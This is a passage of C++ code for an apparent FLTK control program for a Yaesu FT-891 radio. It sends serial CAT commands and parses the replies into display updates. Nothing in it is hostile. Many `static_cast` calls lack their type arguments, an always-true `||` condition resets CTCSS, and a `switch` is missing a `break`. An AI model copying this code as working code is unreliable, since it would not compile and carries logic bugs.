this->MemoryChannelSave = true; for(auto i = m_channels.begin(); i < m_channels.end(); i++) { if(i->Mode != Yaesu::FT891::Commands::MemoryChannelModeValue::FM|| i->Mode != Yaesu::FT891::Commands::MemoryChannelModeValue::FM_N) { i->CTCSS = Yaesu::FT891::Commands::CTCSSState::CTCSS_OFF; i->Operation = Yaesu::FT891::Commands::OperationType::Simplex; } if(i->TagString.length() > 0) { auto msg = MemoryWriteTag::Set(*i); m_port.writeString(msg); } else { Yaesu::FT891::Commands::MemoryChannelWriteValue mv; mv.Mode = i->Mode; mv.Operation = i->Operation; mv.Clarifier = i->Clarifier; mv.ClarifierFreq = i->ClarifierFreq; mv.CTCSS = i->CTCSS; mv.MemoryChannel = i->MemoryChannel; mv.VFOAFreq = i->VFOAFreq; auto msg = MemoryChannelWrite::Set(mv); m_port.writeString(msg); } } delete win; } void FT891::PowerDown() { //Tell it to turn off.. string buff = PowerSwitch::Set(PowerSwitchValue::OFF); m_port.writeString(buff); std::this_thread::sleep_for(std::chrono::milliseconds(1400)); // wait at least one second but not more than two. //and put it back in the error state to complete turning it off. (this isn't in the CAT manual, but is required.) m_port.writeString(dummydata); } void FT891::PowerUp() { //put it in the error state by giving it dummy data. m_port.writeString(dummydata); std::this_thread::sleep_for(std::chrono::milliseconds(1400)); //wait at least one second but not more than two. //tell it to turn on. string buff = PowerSwitch::Set(PowerSwitchValue::ON); m_port.writeString(buff); } void FT891::ReadPowerSwitch() { string buff; //write dummy data to the rig to put it in the error state buff = dummydata; m_port.writeString(buff); std::this_thread::sleep_for(std::chrono::milliseconds(1400)); //request the power switch state auto pstate = PowerSwitch::Read(); m_port.writeString(pstate); } void FT891::CalcMode(ModeValue v) { switch(v) { case ModeValue::CW: case ModeValue::CW_BFOA: MicGain->hide(); VOX->hide(); PRC->hide(); ProcessorLevel->hide(); Keyer->show(); KeyerSpeed->show(); KeyerPitch->show(); BreakIn->show(); m_port.writeString(Keyer::Read()); m_port.writeString(KeyPitch::Read()); m_port.writeString(BreakIn::Read()); this->redraw(); break; default: MicGain->show(); ProcessorLevel->show(); VOX->show(); PRC->show(); KeyerSpeed->hide(); Keyer->hide(); KeyerPitch->hide(); BreakIn->hide(); break; } switch(v) { case ModeValue::SSB_BFOA: switch(SSBbfo) { case BfoValue::USB: OperatingMode->value(0); currentMemoryMode = Yaesu::FT891::Commands::MemoryChannelModeValue::USB; break; case BfoValue::LSB: OperatingMode->value(1); currentMemoryMode = Yaesu::FT891::Commands::MemoryChannelModeValue::LSB; break; case BfoValue::AUTO: OperatingMode->value(2); if(VFOAFreq >= 10000000) currentMemoryMode = Yaesu::FT891::Commands::MemoryChannelModeValue::USB; else currentMemoryMode = Yaesu::FT891::Commands::MemoryChannelModeValue::LSB; break; } break; case ModeValue::SSB_BFOB: switch(SSBbfo) { case BfoValue::USB: OperatingMode->value(0); currentMemoryMode = Yaesu::FT891::Commands::MemoryChannelModeValue::USB; break; case BfoValue::LSB: OperatingMode->value(1); currentMemoryMode = Yaesu::FT891::Commands::MemoryChannelModeValue::LSB; break; case BfoValue::AUTO: { OperatingMode->value(2); if(VFOAFreq >= 10000000) currentMemoryMode = Yaesu::FT891::Commands::MemoryChannelModeValue::USB; else currentMemoryMode = Yaesu::FT891::Commands::MemoryChannelModeValue::LSB; } break; } break; case ModeValue::CW: switch(CWBfo) { case BfoValue::USB: OperatingMode->value(3); currentMemoryMode = Yaesu::FT891::Commands::MemoryChannelModeValue::CW; break; case BfoValue::LSB: OperatingMode->value(4); currentMemoryMode = Yaesu::FT891::Commands::MemoryChannelModeValue::CW_R; break; case BfoValue::AUTO: OperatingMode->value(5); if(VFOAFreq >= 10000000) currentMemoryMode = Yaesu::FT891::Commands::MemoryChannelModeValue::CW_R; else currentMemoryMode = Yaesu::FT891::Commands::MemoryChannelModeValue::CW; break; } break; case ModeValue::CW_BFOA: switch(CWBfo) { case BfoValue::USB: OperatingMode->value(4); currentMemoryMode = Yaesu::FT891::Commands::MemoryChannelModeValue::CW_R; break; case BfoValue::LSB: OperatingMode->value(3); currentMemoryMode = Yaesu::FT891::Commands::MemoryChannelModeValue::CW; break; case BfoValue::AUTO: OperatingMode->value(5); OperatingMode->value(5); if(VFOAFreq >= 10000000) currentMemoryMode = Yaesu::FT891::Commands::MemoryChannelModeValue::CW_R; else currentMemoryMode = Yaesu::FT891::Commands::MemoryChannelModeValue::CW; break; } break; case ModeValue::FM: OperatingMode->value(6); currentMemoryMode = Yaesu::FT891::Commands::MemoryChannelModeValue::FM; break; case ModeValue::FM_N: OperatingMode->value(7); currentMemoryMode = Yaesu::FT891::Commands::MemoryChannelModeValue::FM_N; break; case ModeValue::AM: OperatingMode->value(8); currentMemoryMode = Yaesu::FT891::Commands::MemoryChannelModeValue::AM; break; case ModeValue::AM_N: OperatingMode->value(9); currentMemoryMode = Yaesu::FT891::Commands::MemoryChannelModeValue::AM_N; break; case ModeValue::DATA_BFOB: switch(DATABfo) { case DataBfoValue::USB: OperatingMode->value(10); currentMemoryMode = Yaesu::FT891::Commands::MemoryChannelModeValue::DATA_LSB; break; case DataBfoValue::LSB: OperatingMode->value(11); currentMemoryMode = Yaesu::FT891::Commands::MemoryChannelModeValue::DATA_USB; break; } break; case ModeValue::DATA_BFOA: switch(DATABfo) { case DataBfoValue::USB: OperatingMode->value(11); currentMemoryMode = Yaesu::FT891::Commands::MemoryChannelModeValue::DATA_LSB; break; case DataBfoValue::LSB: OperatingMode->value(10); currentMemoryMode = Yaesu::FT891::Commands::MemoryChannelModeValue::DATA_USB; break; } break; case ModeValue::RTTY_BFOB: switch(RTTYBfo) { case DataBfoValue::USB: OperatingMode->value(12); currentMemoryMode = Yaesu::FT891::Commands::MemoryChannelModeValue::RTTY_LSB; break; case DataBfoValue::LSB: OperatingMode->value(13); currentMemoryMode = Yaesu::FT891::Commands::MemoryChannelModeValue::RTTY_USB; break; } break; case ModeValue::RTTY_BFOA: switch(RTTYBfo) { case DataBfoValue::USB: OperatingMode->value(13); currentMemoryMode = Yaesu::FT891::Commands::MemoryChannelModeValue::RTTY_USB; break; case DataBfoValue::LSB: OperatingMode->value(12); currentMemoryMode = Yaesu::FT891::Commands::MemoryChannelModeValue::RTTY_LSB; break; } break; } OperatingMode->redraw(); } UIMode FT891::GetUIMode() { UIMode v; switch(OperatingMode->value()) { case 0: case 1: case 2: v = UIMode::SSB; break; case 3: case 4: case 5: v = UIMode::CW; case 12: case 13: v = UIMode::RTTY; break; } return v; } void FT891::CalculateWidth(Yaesu::FT891::Commands::WidthValue wv) { UIMode v = GetUIMode(); Width->clear(); switch(v) { case UIMode::SSB: if(NarrowState == NarrowValue::ON) { Width->add("200Hz", 0, OnChoice, this, 0); Width->add("400Hz", 0, OnChoice, this, 0); Width->add("600Hz", 0, OnChoice, this, 0); Width->add("850Hz", 0, OnChoice, this, 0); Width->add("1100Hz", 0, OnChoice, this, 0); Width->add("1350Hz", 0, OnChoice, this, 0); Width->add("1500Hz", 0, OnChoice, this, 0); Width->add("1650Hz", 0, OnChoice, this, 0); Width->add("1800Hz", 0, OnChoice, this, 0); Width->value(wv.WidthCommand - 1); } else { Width->add("1800Hz", 0, OnChoice, this, 0); Width->add("1950Hz", 0, OnChoice, this, 0); Width->add("2100Hz", 0, OnChoice, this, 0); Width->add("2200Hz", 0, OnChoice, this, 0); Width->add("2300Hz", 0, OnChoice, this, 0); Width->add("2400Hz", 0, OnChoice, this, 0); Width->add("2500Hz", 0, OnChoice, this, 0); Width->add("2600Hz", 0, OnChoice, this, 0); Width->add("2700Hz", 0, OnChoice, this, 0); Width->add("2800Hz", 0, OnChoice, this, 0); Width->add("2900Hz", 0, OnChoice, this, 0); Width->add("3000Hz", 0, OnChoice, this, 0); Width->add("3200Hz", 0, OnChoice, this, 0); int val = wv.WidthCommand - 9; val = val >= 0 ? val : 0; val = val <= 12 ? val : 12; Width->value(val); } break; case UIMode::CW: if(NarrowState == NarrowValue::ON) { Width->add("50Hz", 0, OnChoice, this, 0); Width->add("100Hz", 0, OnChoice, this, 0); Width->add("150Hz", 0, OnChoice, this, 0); Width->add("200Hz", 0, OnChoice, this, 0); Width->add("250Hz", 0, OnChoice, this, 0); Width->add("300Hz", 0, OnChoice, this, 0); Width->add("350Hz", 0, OnChoice, this, 0); Width->add("400Hz", 0, OnChoice, this, 0); Width->add("450Hz", 0, OnChoice, this, 0); Width->add("500Hz", 0, OnChoice, this, 0); Width->value(wv.WidthCommand - 1); } else { Width->add("500Hz", 0, OnChoice, this, 0); Width->add("800Hz", 0, OnChoice, this, 0); Width->add("1200Hz", 0, OnChoice, this, 0); Width->add("1400Hz", 0, OnChoice, this, 0); Width->add("1700Hz", 0, OnChoice, this, 0); Width->add("2000Hz", 0, OnChoice, this, 0); Width->add("2400Hz", 0, OnChoice, this, 0); Width->add("3000Hz", 0, OnChoice, this, 0); Width->value(wv.WidthCommand - 10); } break; case UIMode::RTTY: if(NarrowState == NarrowValue::ON) { Width->add("50Hz", 0, OnChoice, this, 0); Width->add("100Hz", 0, OnChoice, this, 0); Width->add("150Hz", 0, OnChoice, this, 0); Width->add("200Hz", 0, OnChoice, this, 0); Width->add("250Hz", 0, OnChoice, this, 0); Width->add("300Hz", 0, OnChoice, this, 0); Width->add("350Hz", 0, OnChoice, this, 0); Width->add("400Hz", 0, OnChoice, this, 0); Width->add("450Hz", 0, OnChoice, this, 0); Width->add("500Hz", 0, OnChoice, this, 0); Width->value(wv.WidthCommand - 1); } else { Width->add("500Hz", 0, OnChoice, this, 0); Width->add("800Hz", 0, OnChoice, this, 0); Width->add("1200Hz", 0, OnChoice, this, 0); Width->add("1400Hz", 0, OnChoice, this, 0); Width->add("1700Hz", 0, OnChoice, this, 0); Width->add("2000Hz", 0, OnChoice, this, 0); Width->add("2400Hz", 0, OnChoice, this, 0); Width->add("3000Hz", 0, OnChoice, this, 0); Width->value(wv.WidthCommand - 10); } break; } Width->redraw(); } void FT891::SetBand() { if((VFOAFreq >= 1800000) & (VFOAFreq <= 2000000)) { Band->value((int)Band::m160); } else if((VFOAFreq >= 3500000) & (VFOAFreq <= 4000000)) { Band->value((int)Band::m80); } else if((VFOAFreq >= 5300000) & (VFOAFreq <= 5405000)) { Band->value((int)Band::m60); } else if((VFOAFreq >= 7000000) & (VFOAFreq <= 7300000)) { Band->value((int)Band::m40); } else if((VFOAFreq >= 10100000) & (VFOAFreq <= 10150000)) { Band->value((int)Band::m30); } else if((VFOAFreq >= 14000000) & (VFOAFreq <= 14350000)) { Band->value((int)Band::m20); } else if((VFOAFreq >= 18068000) & (VFOAFreq <= 18168000)) { Band->value((int)Band::m17); } else if((VFOAFreq >= 21000000) & (VFOAFreq <= 21450000)) { Band->value((int)Band::m15); } else if((VFOAFreq >= 24890000) & (VFOAFreq <= 24990000)) { Band->value((int)Band::m12); } else if((VFOAFreq >= 28000000) & (VFOAFreq <= 29700000)) { Band->value((int)Band::m10); } else if((VFOAFreq >= 50000000) & (VFOAFreq <= 54000000)) { Band->value((int)Band::m6); } else { Band->value((int)Band::GEN); } } void FT891::readCallback(const char* c, int v) { Fl::lock(); buff.append(c,v); std::string delim = ";"; size_t pos = 0; try { while((pos = buff.find(delim)) != string::npos) { string cmd = buff.substr(0, (pos + 1)); cmd.erase(0,cmd.find_first_not_of('\0')); buff = buff.erase(0,pos + 1); string cmdtype; if(cmd.length() >= 2) { cmdtype = cmd.substr(0,2); } else { std::cout << "malformed data: " << cmd << std::endl; continue; } if(cmdtype == "?;") { if(MemoryChannelEdit) { currentMemory = static_cast(static_cast(currentMemory) + 1); if(static_cast(currentMemory) != 118) { cmd = Yaesu::FT891::Commands::MemoryWriteTag::Read(currentMemory); m_port.writeString(cmd); } else { MemoryChannelEdit = false; } } #ifdef DEBUG cout << cmdtype << endl; #endif continue; } else if(cmdtype == "IF") { InformationValue iv = INFORMATION::Answer(cmd); switch(iv.VFO) { case VFOChannelTypeValue::Memory: if(static_cast(iv.MemoryChannel) < 500) { labelText = fmt::format("M{:02}",static_cast(iv.MemoryChannel)); ChannelLabel->label(labelText.c_str()); } else { labelText = fmt::format("{:d}",static_cast(iv.MemoryChannel)); ChannelLabel->label(labelText.c_str()); } break; case VFOChannelTypeValue::MemoryTune: ChannelLabel->label("MT"); break; case VFOChannelTypeValue::QuickMemoryBank: ChannelLabel->label("QMB"); break; case VFOChannelTypeValue::PMS: ChannelLabel->label("PMS"); break; case VFOChannelTypeValue::VFO: ChannelLabel->label("A"); break; } ChannelLabel->redraw(); VFOAFreq = iv.VFOAFreq; SetBand(); ClarifierValue = iv.ClarifierFreq; if(iv.Clarifier == ClarifierState::ON) //+ offeset { CLAR->color(FL_GREEN); Clarifier->value(iv.ClarifierFreq); switch(static_cast(ClarifierType->value())) { case ClarSelectValue::RX: case ClarSelectValue::TRX: iv.VFOAFreq = iv.VFOAFreq + iv.ClarifierFreq; break; } } string dispval = fmt::format("{:d}.{:03}.{:03}", (iv.VFOAFreq - (iv.VFOAFreq % 1000000)) / 1000000, ((iv.VFOAFreq % 1000000) - (iv.VFOAFreq % 1000)) / 1000, (iv.VFOAFreq % 1000)); VFOA->value(dispval.c_str()); CalcMode(iv.Mode); VFOA->redraw(); #ifdef DEBUG cout << dispval << endl; #endif continue; } else if(cmdtype == "CF") { ClarifierState = Yaesu::FT891::Commands::Clarifier::Answer(cmd); continue; } else if(cmdtype == "TX") { tVFOAFreq = 0; switch(TXW::Answer(cmd)) { case TXWValue::ON: switch(static_cast(ClarifierType->value())) { case ClarSelectValue::TX: case ClarSelectValue::TRX: tVFOAFreq = VFOAFreq + ClarifierValue; dispval = fmt::format("{:d}.{:03}.{:03}", (tVFOAFreq - (tVFOAFreq % 1000000)) / 1000000, ((tVFOAFreq % 1000000) - (tVFOAFreq % 1000)) / 1000, (tVFOAFreq % 1000)); VFOA->value(dispval.c_str()); break; } break; case TXWValue::OFF: switch(static_cast(ClarifierType->value())) { case ClarSelectValue::RX: case ClarSelectValue::TRX: tVFOAFreq = VFOAFreq + ClarifierValue; dispval = fmt::format("{:d}.{:03}.{:03}", (tVFOAFreq - (tVFOAFreq % 1000000)) / 1000000, ((tVFOAFreq % 1000000) - (tVFOAFreq % 1000)) / 1000, (tVFOAFreq % 1000)); VFOA->value(dispval.c_str()); break; case ClarSelectValue::TX: dispval = fmt::format("{:d}.{:03}.{:03}", (VFOAFreq - (VFOAFreq % 1000000)) / 1000000, ((VFOAFreq % 1000000) - (VFOAFreq % 1000)) / 1000, (VFOAFreq % 1000)); VFOA->value(dispval.c_str()); break; } break; } continue; } else if(cmdtype == "RA") { RfAttenuatorState v = RFAttenuator::Answer(cmd); switch(v) { case RfAttenuatorState::OFF: ATT->color(FL_BACKGROUND_COLOR); break; case RfAttenuatorState::ON: ATT->color(FL_GREEN); break; } ATT->redraw(); continue; } else if(cmdtype == "RL") { int i = NoiseReductionLevel::Answer(cmd); DNRAlgo->value(i); DNRAlgo->redraw(); continue; } else if(cmdtype == "NB") { NoiseBlankerStatusValue v = NoiseBlankerStatus::Answer(cmd); switch(v) { case NoiseBlankerStatusValue::OFF: NB->color(FL_BACKGROUND_COLOR); break; case NoiseBlankerStatusValue::ON: NB->color(FL_GREEN); m_port.writeString(NoiseBlankerLevel::Read()); break; } NB->redraw(); continue; } else if(cmdtype == "NL") { NoiseBlankerLevel->value(NoiseBlankerLevel::Answer(cmd)); NoiseBlankerLevel->redraw(); continue; } else if(cmdtype == "PA") { PreAmpValue v = PreAmp::Answer(cmd); switch(v) { case PreAmpValue::AMP: IPO->color(FL_BACKGROUND_COLOR); break; case PreAmpValue::IPO: IPO->color(FL_GREEN); break; } IPO->redraw(); continue; } else if(cmdtype == "NR") { NoiseReductionValue v = NoiseReduction::Answer(cmd); switch(v) { case NoiseReductionValue::OFF: btnDNR->color(FL_BACKGROUND_COLOR); break; case NoiseReductionValue::ON: btnDNR->color(FL_GREEN); m_port.writeString(NoiseReductionLevel::Read()); break; } btnDNR->redraw(); continue; } else if(cmdtype == "OI") { OppositeInformationValue iv = OppositeBandInformation::Answer(cmd); VFOBFreq = iv.VFOBFreq; string dispval = fmt::format("{:d}.{:03}.{:03}", (iv.VFOBFreq - (iv.VFOBFreq % 1000000)) / 1000000, ((iv.VFOBFreq % 1000000) - (iv.VFOBFreq % 1000)) / 1000, (iv.VFOBFreq % 1000)); VFOB->value(dispval.c_str()); //CalcMode(iv.Mode); VFOB->redraw(); Fl::awake(); continue; } else if(cmdtype == "FA") { VFOA->value(fmt::format("{:d}.{:03}.{:03}", (VFOAFreq - (VFOAFreq % 1000000)) / 1000000, ((VFOAFreq % 1000000) - (VFOAFreq % 1000)) / 1000, (VFOAFreq % 1000)).c_str()); VFOA->redraw(); m_port.writeString(INFORMATION::Read()); #ifdef DEBUG cout << VFOA->value() << std::endl; #endif continue; } else if(cmdtype == "FB") { VFOBFreq = VFO_B_FREQ::Answer(cmd); VFOB->value(fmt::format("{:d}.{:03}.{:03}", (VFOBFreq - (VFOBFreq % 1000000)) / 1000000, ((VFOBFreq % 1000000) - (VFOBFreq % 1000)) / 1000, (VFOBFreq % 1000)).c_str()); VFOB->redraw(); #ifdef DEBUG cout << VFOB->value() << endl; #endif continue; } else if(cmdtype == "MT") { MemoryChannelTagValue tv = Yaesu::FT891::Commands::MemoryWriteTag::Answer(cmd); tv.MemoryChannel = currentMemory; if(std::find_if(m_channels.begin(), m_channels.end(),[tv](auto e){ return e.MemoryChannel == tv.MemoryChannel;}) == m_channels.end()){ m_channels.push_back(tv); currentMemory = static_cast(((int)currentMemory)+ 1); std::string cmd = Yaesu::FT891::Commands::MemoryWriteTag::Read(currentMemory); m_port.writeString(cmd); } continue; } else if(cmdtype == "ML") { MonitorLevelValue v = MonitorLevel::Answer(cmd); switch(v.f) { case MonitorFunction::MontiorOnOff: if(v.val.eVal == MonitorOnOffValue::OFF){ MON->color(FL_BACKGROUND_COLOR); MonitorLevel->redraw(); MonitorLevel->redraw_label(); #ifdef DEBUG cout << "MON OFF" << endl; #endif } else{ MON->color(FL_GREEN); MonitorLevel->redraw(); MonitorLevel->redraw_label(); #ifdef DEBUG cout << "MON ON" << endl; #endif } break; case MonitorFunction::MontiorLevel: MonitorLevel->value(v.val.iVal); break; } continue; } else if(cmdtype == "FS") { VFOFastStepValue v = FAST_STEP::Answer(cmd); switch(v) { case VFOFastStepValue::ON: FST->color(FL_GREEN); m_port.writeString(KeyerSpeed::Read()); break; case VFOFastStepValue::OFF: FST->color(FL_BACKGROUND_COLOR); break; } continue; } else if(cmdtype == "AG") { VolumeLevel = VolumeLevel::Answer(cmd); Volume->value(VolumeLevel); Volume->redraw(); continue; } else if(cmdtype == "AC") { switch(AntennaTunerControl::Answer(cmd)) { case TunerState::OFF: TNR->color(FL_BACKGROUND_COLOR); break; case TunerState::ON: TNR->color(FL_GREEN); break; case TunerState::Start: TNR->color(FL_GREEN); break; } TNR->redraw(); continue; } else if(cmdtype == "PR") { SpeechProcessorSetting sp = SpeechProcessor::Answer(cmd); switch(sp.state) { case SpeechProcessorState::ON: PRC->color(FL_GREEN); m_port.writeString(SpeechProcessorLevel::Read()); PRC->redraw(); break; case SpeechProcessorState::OFF: PRC->color(FL_BACKGROUND_COLOR); PRC->redraw(); break; } switch(sp.type) { case SpeechProcessorType::Processor: { break; } case SpeechProcessorType::ParametricEqualizer: { break; } } continue; } else if (cmdtype == "PL") { ProcessorLevel->value(SpeechProcessorLevel::Answer(cmd)); ProcessorLevel->redraw(); continue; } else if(cmdtype == "NA") { NarrowState = Narrow::Answer(cmd); switch(NarrowState) { case NarrowValue::ON: NAR->color(FL_GREEN); NAR->redraw(); m_port.writeString(Width::Read()); break; case NarrowValue::OFF: NAR->color(FL_BACKGROUND_COLOR); NAR->redraw(); m_port.writeString(Width::Read()); break; } continue; } else if(cmdtype == "PS") { PowerButton->value(PowerSwitch::Answer(cmd)); if(PowerButton->value()) { Init(); this->redraw(); } else { this->redraw(); } #ifdef DEBUG cout << cmd << endl; #endif continue; } else if(cmdtype == "BY") { BusyState state = Busy::Answer(cmd); #ifdef DEBUG cout << cmd << endl; #endif continue; } else if(cmdtype == "GT") { AGCReadVal = AGC_FUNCTION::Answer(cmd); continue; } else if(cmdtype == "MD") { mv = OperatingMode::Answer(cmd); CalcMode(mv); continue; } else if(cmdtype == "SH") { WidthVal = Width::Answer(cmd); CalculateWidth(WidthVal); continue; } else if(cmdtype == "PC") { PowerControlValue = PowerControl::Answer(cmd); PowerButton->value(PowerControlValue); PowerButton->redraw(); continue; } else if(cmdtype == "MS") //meterSw { MeterTypeValue = MeterSW::Answer(cmd); DisplayMode->value(static_cast(MeterTypeValue)); DisplayMode->redraw(); continue; } else if(cmdtype == "MG") { MicGainValue = MicGain::Answer(cmd); MicGain->value(MicGainValue); MicGain->redraw(); continue; } else if(cmdtype == "RG") { RFGainValue = RFGain::Answer(cmd); RFGain->value(RFGainValue); continue; } else if(cmdtype == "SQ") { SquelchLevelValue = SquelchLevel::Answer(cmd); Squelch->value(SquelchLevelValue); Squelch->redraw(); continue; } else if(cmdtype == "KS") { KeyerSpeedValue = KeyerSpeed::Answer(cmd); KeyerSpeed->value(static_cast(KeyerSpeedValue)); KeyerSpeed->redraw(); continue; } else if(cmdtype == "KR") { KeyerValue v = Keyer::Answer(cmd); switch(v) { case KeyerValue::ON: Keyer->color(FL_GREEN); KeyerSpeed->set_active(); m_port.writeString(KeyerSpeed::Read()); break; case KeyerValue::OFF: Keyer->color(FL_BACKGROUND_COLOR); KeyerSpeed->clear_active(); break; } Keyer->redraw(); KeyerSpeed->redraw(); continue; } else if(cmdtype == "KP") { KeyPitchValue v = KeyPitch::Answer(cmd); KeyerPitch->value( (300 + (static_cast(v) * 10))); KeyerPitch->redraw(); continue; } else if(cmdtype == "BI") { BreakInState s = BreakIn::Answer(cmd); switch(s) { case BreakInState::OFF: BreakIn->color(FL_BACKGROUND_COLOR); break; case BreakInState::ON: BreakIn->color(FL_GREEN); break; } BreakIn->redraw(); continue; } else if(cmdtype == "VX") { VoxStatusValue v = VoxStatus::Answer(cmd); switch(v) { case VoxStatusValue::ON: VOX->color(FL_GREEN); m_port.writeString(VoxGain::Read()); m_port.writeString(VoxDelayTime::Read()); break; case VoxStatusValue::OFF: VOX->color(FL_BACKGROUND_COLOR); break; } VOX->redraw(); continue; } else if(cmdtype == "MC") { Yaesu::FT891::Commands::MemoryChannelValue v = Yaesu::FT891::Commands::MemoryChannel::Answer(cmd); int memval = static_cast(v); continue; } else if(cmdtype == "VG") { VoxGainLevelValue = VoxGain::Answer(cmd); VoxGainLevel->value(VoxGainLevelValue); continue; } else if(cmdtype == "VD") { VoxDelayTimeValue = VoxDelayTime::Answer(cmd); VoxDelayTime->value(VoxDelayTimeValue); continue; } else if(cmdtype == "LK") { switch(VFODialLock::Answer(cmd)) { case DialLockValue::ON: LOCK->color(FL_GREEN); break; case DialLockValue::OFF: LOCK->color(FL_BACKGROUND_COLOR); break; } LOCK->redraw(); continue; } else if(cmdtype == "ST") { switch(Split::Answer(cmd)) { case SplitValue::OFF: SPL->color(FL_BACKGROUND_COLOR); break; case SplitValue::ON: SPL->color(FL_GREEN); break; case SplitValue::ON_5KU: SPL->color(FL_BLUE); break; } SPL->redraw(); continue; } else if(cmdtype == "KM") { KeyerMemoryValue v = KeyerMemory::Answer(cmd); switch(v.ChannelNumber) { case 1: CWMemory1Value = v; CWMemoryValue1->value(CWMemory1Value.Message.c_str()); CWMemoryValue1->redraw(); break; case 2: CWMemory2Value = v; CWMemoryValue2->value(CWMemory2Value.Message.c_str()); CWMemoryValue2->redraw(); break; case 3: CWMemory3Value = v; CWMemoryValue3->value(CWMemory3Value.Message.c_str()); CWMemoryValue3->redraw(); break; case 4: CWMemory4Value = v; CWMemoryValue4->value(CWMemory4Value.Message.c_str()); CWMemoryValue4->redraw(); break; case 5: CWMemory5Value = v; CWMemoryValue5->value(CWMemory5Value.Message.c_str()); CWMemoryValue5->redraw(); break; } continue; } else if(cmdtype == "EX") // menu { #ifdef DEBUG cout << cmd << endl; #endif MenuFunction mf = (MenuFunction)std::stoi(cmd.substr(2,4)); int val = 0; switch(mf) { case MenuFunction::AM_PTT_SELECT: AMPTTSelectValue = Menu::AnswerAMPTTSelect(cmd); AMPTTSelect->value(static_cast(AMPTTSelectValue)); AMPTTSelect->redraw(); break; case MenuFunction::SSB_PTT_SELECT: SSBPTTSelectValue = Menu::AnswerSSBPTTSelect(cmd); SSBPTTSelect->value(static_cast(SSBPTTSelectValue)); SSBPTTSelect->redraw(); break; case MenuFunction::PKT_PTT_SELECT: PktPTTSelectValue = Menu::AnswerPktPTTSelect(cmd); PktPTTSelect->value(static_cast(PktPTTSelectValue)); PktPTTSelect->redraw(); break; case MenuFunction::DATA_PTT_SELECT: DATAPTTSelectValue = Menu::AnswerDATAPTTSelect(cmd); DATAPTTSelect->value(static_cast(DATAPTTSelectValue)); DATAPTTSelect->redraw(); break; case MenuFunction::SSB_BFO: SSBbfo = Menu::AnswerSSBBFO(cmd); break; case MenuFunction::CW_BFO: CWBfo = Menu::AnswerCWBFO(cmd); break; case MenuFunction::RTTY_BFO: RTTYBfo = Menu::AnswerRTTYBFO(cmd); break; case MenuFunction::DATA_BFO: DATABfo = Menu::AnswerDATABFO(cmd); break; case MenuFunction::DIMMER_BACKLIT: dimmerBacklightval = Menu::AnswerBackliteDimmer(cmd); Backlight->value(dimmerBacklightval); Backlight->redraw(); break; case MenuFunction::HF_PWR: hfPowerval = Menu::AnswerHfPwr(cmd); HFPower->value(hfPowerval); HFPower->redraw(); break; case MenuFunction::HF_AM_PWR: HFAmPowerval = Menu::AnswerHfAmPwr(cmd); HFAMPower->value(HFAmPowerval); HFAMPower->redraw(); break; case MenuFunction::HF_SSB_PWR: HFSsbPowerval = Menu::AnswerHfSsbPwr(cmd); HFSSBPower->value(HFSsbPowerval); HFSSBPower->redraw(); break; case MenuFunction::VHF_PWR: vhfpowerval = Menu::Answer50mPwr(cmd); VHFPower->value(vhfpowerval); VHFAMPower->redraw(); break; case MenuFunction::SSB_POWER_50M: vhfssbpowerval = Menu::Answer50mSsbPwr(cmd); VHFSSBPower->value(vhfssbpowerval); VHFSSBPower->redraw(); break; case MenuFunction::AM_POWER_50M: vhfampowerval = Menu::Answer50mAmPwr(cmd); VHFAMPower->value(vhfampowerval); VHFAMPower->redraw(); break; case MenuFunction::LCD_CONTRAST: lcdcontrastval = Menu::AnswerLcdContrast(cmd); LCDContrast->value(lcdcontrastval); LCDContrast->redraw(); break; case MenuFunction::DIMMER_LCD: dimmerval = Menu::AnswerLcdDimmer(cmd); LCD->value(dimmerval); LCD->redraw(); break; case MenuFunction::DIMMER_TX_BUSY: dimmmertxbusyval = Menu::AnswerTxBusyDimmer(cmd); TxBusy->value(dimmmertxbusyval); TxBusy->redraw(); break; case MenuFunction::AM_LCUT_FREQ: AMLCUTFreqValue = Menu::AnswerAMLowCutFreq(cmd); AMLCUTFreq->value(static_cast(AMLCUTFreqValue)); AMLCUTFreq->redraw(); break; case MenuFunction::AM_LCUT_SLOPE: AMLCUTSlopeValue = Menu::AnswerAMLowCutSlope(cmd); AMLCUTSlope->value(static_cast(AMLCUTSlopeValue)); AMLCUTSlope->redraw(); break; case MenuFunction::AM_OUT_LEVEL: AMOutLevelValue = Menu::AnswerAMOutLevel(cmd); AMOutLevel->value(AMOutLevelValue); AMOutLevel->redraw(); break; case MenuFunction::CW_LCUT_FREQ: CWLCUTFreqValue = Menu::AnswerCWLowCutFreq(cmd); CWLCUTFreq->value(static_cast(CWLCUTFreqValue)); CWLCUTFreq->redraw(); break; case MenuFunction::CW_LCUT_SLOPE: CWLCUTSlopeValue = Menu::AnswerCWLowCutSlope(cmd); CWLCUTSlope->value(static_cast(CWLCUTSlopeValue)); CWLCUTSlope->redraw(); break; case MenuFunction::CW_OUT_LEVEL: CWOutLevelValue = Menu::AnswerCWOutLevel(cmd); CWOutLevel->value(CWOutLevelValue); CWOutLevel->redraw(); break; case MenuFunction::RTTY_LCUT_FREQ: RTTYLCUTFreqValue = Menu::AnswerRTTYLowCutFreq(cmd); RTTYLCUTFreq->value(static_cast(RTTYLCUTFreqValue)); RTTYLCUTFreq->redraw(); break; case MenuFunction::RTTY_LCUT_SLOPE: RTTYLCUTSlopeValue = Menu::AnswerRTTYLowCutSlope(cmd); RTTYLCUTSlope->value(static_cast(RTTYLCUTSlopeValue)); RTTYLCUTSlope->redraw(); break; case MenuFunction::RTTY_OUT_LEVEL: RTTYOutLevelValue = Menu::AnswerRTTYOutLevel(cmd); RTTYOutLevel->value(RTTYOutLevelValue); RTTYOutLevel->redraw(); break; case MenuFunction::DATA_LCUT_FREQ: DATALCUTFreqValue = Menu::AnswerDATALowCutFreq(cmd); DATALCUTFreq->value(static_cast(DATALCUTFreqValue)); DATALCUTFreq->redraw(); break; case MenuFunction::DATA_LCUT_SLOPE: DATALCUTSlopeValue = Menu::AnswerDATALowCutSlope(cmd); DATALCUTSlope->value(static_cast(DATALCUTSlopeValue)); DATALCUTSlope->redraw(); break; case MenuFunction::DATA_OUT_LEVEL: DATAOutLevelValue = Menu::AnswerDATAOutLevel(cmd); DATAOutLevel->value(DATAOutLevelValue); DATAOutLevel->redraw(); break; case MenuFunction::SSB_LCUT_FREQ: SSBLCUTFreqValue = Menu::AnswerSSBLowCutFreq(cmd); SSBLCUTFreq->value(static_cast(SSBLCUTFreqValue)); SSBLCUTFreq->redraw(); break; case MenuFunction::SSB_LCUT_SLOPE: SSBLCUTSlopeValue = Menu::AnswerSSBLowCutSlope(cmd); SSBLCUTSlope->value(static_cast(SSBLCUTSlopeValue)); SSBLCUTSlope->redraw(); break; case MenuFunction::SSB_OUT_LEVEL: 